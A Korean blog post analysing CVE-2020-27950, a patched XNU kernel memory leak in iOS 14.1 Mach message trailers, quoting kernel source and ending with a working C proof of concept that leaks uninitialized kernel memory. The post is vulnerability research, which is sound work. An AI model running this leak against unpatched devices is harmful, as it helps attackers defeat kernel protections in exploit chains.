ii4gsp
[1-day Analysis] CVE-2020-27950 ( iOS 14.1 XNU Kernel Memory Leak ) 본문
[1-day Analysis] CVE-2020-27950 ( iOS 14.1 XNU Kernel Memory Leak )
ii4gsp 2021. 3. 29. 22:28googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2020/CVE-2020-27950.html
iOS 1-day hunting: uncovering and exploiting CVE-2020-27950 kernel memory leak
Back in the beginning of November, Project Zero announced that Apple has patched a full chain of vulnerabilities that were actively exploited in the wild. This chain consists in 3 vulnerabilities: a userland RCE in FontParser as well as a memory leak and a
www.synacktiv.com
CVE-2020-27950: XNU Kernel Memory Disclosure in Mach Message Trailers
Information about 0-days exploited in-the-wild!
googleprojectzero.github.io
Disclosure or Patch Date: November 5 2020
Product: Apple iOS
Affected Versions: iOS 14.1 and before
First Patched Version: iOS 14.2
Bug Class: Information leak
CVE-2020-27950은 Project-Zero 팀에서 발견한 커널 메모리를 유출할 수 있는 취약점이다.
취약점 원인은 mach 메시지를 수신하고 잘못된 요청을할 때 잘못된 크기 계산으로 발생한다.
취약점 패치가 이루이진 함수는 총 5개로 구성된다.
mach_msg_send()
mach_msg_overwrite()
ipc_kmsg_get()
ipc_kmsg_get_from_kernel()
ipc_kobject_server()
이 5개의 함수는 공통점이 있는데 모두 ipc_kmsg 객체를 처리한다.
kmsg 객체는 mach 메시지의 커널 표현으로 아주 복잡한 구조로 이루어져있다.
typedef struct{
mach_msg_trailer_type_t msgh_trailer_type;
mach_msg_trailer_size_t msgh_trailer_size;
} mach_msg_trailer_t;
typedef struct{
mach_msg_trailer_type_t msgh_trailer_type;
mach_msg_trailer_size_t msgh_trailer_size;
mach_port_seqno_t msgh_seqno;
security_token_t msgh_sender;
audit_token_t msgh_audit;
mach_port_context_t msgh_context;
int msgh_ad;
msg_labels_t msgh_labels;
} mach_msg_mac_trailer_t;
#define MACH_MSG_TRAILER_MINIMUM_SIZE sizeof(mach_msg_trailer_t)
typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))
새로운 kmsg를 만들때 ipc_kmsg trailer가 사용된다.
ipc_kmsg tariler는 유형에 따라 크기가 동적인 구조이다.
가장 작은 트레일러는 유형과 크기만 포함하여 8 바이트 구조이고,
크기가 가장 큰 트레일러는 길이가 0x44 바이트이다.
커널은 메시지를 수신 할 때 어떤 트레일러 유형이 요청되는지 알지 못하여 가장 큰 크기를 예약하고 일부 필드를 초기화하며 유형을 가장 작게 설정한다.
trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
trailer->msgh_sender = current_thread()->task->sec_token;
trailer->msgh_audit = current_thread()->task->audit_token;
trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0;
trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
#ifdef ppc
if(trcWork.traceMask) dbgTrace(0x1100, (unsigned int)kmsg->ikm_header->msgh_id,
(unsigned int)kmsg->ikm_header->msgh_remote_port,
(unsigned int)kmsg->ikm_header->msgh_local_port, 0);
#endif
trailer->msgh_labels.sender = 0;
*kmsgp = kmsg;
return MACH_MSG_SUCCESS;
}
ipc_kmsg_get() 함수의 트레일러를 초기화하는 부분이다.
msgh_sender, msgh_audit, msgh_trailer_type, msgh_tariler_size, msgh_labels를 제외한 나머지 3개의 필드는 초기화 과정이 보이지 않는다.
mach_msg_trailer_size_t
ipc_kmsg_add_trailer(ipc_kmsg_t kmsg, ipc_space_t space __unused,
mach_msg_option_t option, thread_t thread,
mach_port_seqno_t seqno, boolean_t minimal_trailer,
mach_vm_offset_t context)
{
mach_msg_max_trailer_t *trailer;
#ifdef __arm64__
mach_msg_max_trailer_t tmp_trailer; /* This accommodates U64, and we'll munge */ [A]
void *real_trailer_out = (void*)(mach_msg_max_trailer_t *)
((vm_offset_t)kmsg->ikm_header +
round_msg(kmsg->ikm_header->msgh_size));
/*
* Populate scratch with initial values set up at message allocation time.
* After, we reinterpret the space in the message as the right type
* of trailer for the address space in question.
*/
bcopy(real_trailer_out, &tmp_trailer, MAX_TRAILER_SIZE); [B]
trailer = &tmp_trailer;
#else /* __arm64__ */
(void)thread;
trailer = (mach_msg_max_trailer_t *)
((vm_offset_t)kmsg->ikm_header +
round_msg(kmsg->ikm_header->msgh_size));
#endif /* __arm64__ */
if (!(option & MACH_RCV_TRAILER_MASK)) { [C]
return trailer->msgh_trailer_size;
}
trailer->msgh_seqno = seqno;
trailer->msgh_context = context;
trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option); [D]
xnu/osfmk/ipc/ipc_kmsg.c에 정의되어 있는 ipc_kmsg_add_trailer() 함수이다.
위에 보이는 부분은 출력할 트레일러의 크기를 계산하는 부분이다.
A: 새로운 트레일러가 스택에 저장된다.
B: kmsg trailer content가 새로운 트레일러에 복사된다.
C: option 인자는 MACH_RCV_TARILER_MASK로 검사를 한다.
D: REQUESTED_TRAILER_SIZE() 매크로를 사용하여 실제 트레일러의 사이즈를 계산한다.
#define MACH_RCV_TRAILER_NULL 0
#define MACH_RCV_TRAILER_SEQNO 1
#define MACH_RCV_TRAILER_SENDER 2
#define MACH_RCV_TRAILER_AUDIT 3
#define MACH_RCV_TRAILER_CTX 4
#define MACH_RCV_TRAILER_AV 7
#define MACH_RCV_TRAILER_LABELS 8
#define MACH_RCV_TRAILER_TYPE(x) (((x) & 0xf) << 28)
#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24)
#define MACH_RCV_TRAILER_MASK ((0xf << 24))
xnu/osfmk/mach/message.h 에는 커널에 특정 트레일러 크기를 반환하도록 요청할 수 있는 매크로가 정의되어 있다.
trailer->msgh_seqno = seqno; [A]
trailer->msgh_context = context;
trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option);
if (minimal_trailer) { [B]
goto done;
}
if (MACH_RCV_TRAILER_ELEMENTS(option) >=
MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_AV)){ [C]
trailer->msgh_ad = 0;
}
/*
* The ipc_kmsg_t holds a reference to the label of a label
* handle, not the port. We must get a reference to the port
* and a send right to copyout to the receiver.
*/
if (option & MACH_RCV_TRAILER_ELEMENTS (MACH_RCV_TRAILER_LABELS)) {
trailer->msgh_labels.sender = 0;
}
done:
#ifdef __arm64__
ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread)); [D]
#endif /* __arm64__ */
return trailer->msgh_trailer_size;
}
ipc_kmsg_add_trailer() 함수의 일부이다.
우리는 ipc_kmsg_get() 함수에서 트레일러를 초기화하는 과정에서 초기화 되지않은 3개의 필드를 보았다.
초기화 되지않은 나머지 3개의 필드를 초기화하는 과정을 담고 있다.
A: msgh_seqno, msgh_context 필드를 트레일러의 사본으로 초기화한다.
B: 함수에 전달 된 부분을 검사하여 조기 반환을 한다. (mach_msg_receive_results() 함수에서 호출할때는 false)
C: 전달된 option이 MACH_RCV_TRAILER_AV 보다 크거나 같은지 검사를 한다.
크거나 같으면 msgh_ad를 0으로 초기화 시킨다.
D: msgh_seqno, msgh_context, msgh_trailer_size, msgh_ad 필드를 기존의 트레일러로 복사한다.
지금까지는 아무런 버그도 없어 보이지만,
모든 필드가 사용자 영역으로 반환되기 전에 올바르게 초기화된것 처럼 보인다.
트레일러의 실제 사이즈를 구하는 REQUESTED_TRAILER_SIZE() 매크로가 계산하는 방법을 분석해봐야 한다.
#define REQUESTED_TRAILER_SIZE(is64, y) REQUESTED_TRAILER_SIZE_NATIVE(y)
#define REQUESTED_TRAILER_SIZE_NATIVE(y) \
((mach_msg_trailer_size_t) \
((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_NULL) ? \
sizeof(mach_msg_trailer_t) : \
((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_SEQNO) ? \
sizeof(mach_msg_seqno_trailer_t) : \
((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_SENDER) ? \
sizeof(mach_msg_security_trailer_t) : \
((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_AUDIT) ? \
sizeof(mach_msg_audit_trailer_t) : \
((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_CTX) ? \
sizeof(mach_msg_context_trailer_t) : \
((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_AV) ? \
sizeof(mach_msg_mac_trailer_t) : \
sizeof(mach_msg_max_trailer_t))))))))
REQUESTED_TRAILER_SIZE() 매크로는 option 값이 알려진 경우 올바른 크기를 계산하여 반환하지만
반대로 option 값을 MACH_RCV_TRAILER_AV 보다 낮게 설정하고 존재하지 않는 값으로 한다면 최대 크기로 반환이 된다.
그리고 msgh_ad 필드는 초기화 과정을 거치지않게 된다.
// CVE-2020-27950 POC
#endif
#include <stdio.h>
#include <stdlib.h>
#include <mach/mach.h>
extern mach_port_t mach_reply_port(void);
uint32_t disclose_dword_for_size(uint32_t send_msg_size) {
kern_return_t err;
mach_msg_header_t* msg = malloc(send_msg_size);
memset(msg, 0, send_msg_size);
mach_port_t p = mach_reply_port();
msg->msgh_bits = MACH_MSGH_BITS_SET_PORTS(MACH_MSG_TYPE_MAKE_SEND, 0, 0);
msg->msgh_remote_port = p;
msg->msgh_size = send_msg_size;
err = mach_msg_send(msg);
if (err != KERN_SUCCESS) {
printf("send failed\n");
return 0;
}
size_t rcv_msg_size = send_msg_size + 0x100;
mach_msg_header_t* rcv = malloc(rcv_msg_size);
memset(rcv, 0, rcv_msg_size);
err = mach_msg(rcv,
MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_SEQNO | MACH_RCV_TRAILER_CTX) | MACH_RCV_MSG,
0,
rcv_msg_size,
p,
0,
0);
if (err != KERN_SUCCESS) {
printf("failed to receive message\n");
return 0;
}
if (rcv->msgh_size > send_msg_size) {
printf("invalid msgh_size\n");
return 0;
}
uint32_t uninit = *(uint32_t*)(((uint8_t*)rcv) + rcv->msgh_size + 0x3c);
return uninit;
}
int main() {
for (size_t size = 0x200; size < 0x1000; size += 0x14) {
for (int i = 0; i < 20; i++) {
uint32_t val = disclose_dword_for_size(size);
if (val != 0) {
printf("0x%08x\n", val);
}
}
}
return 0;
}
취약점을 트리거하는 POC 코드이다.
POC를 실행하면 초기화 과정을 생략하는 msgh_ad의 값을 유출한다.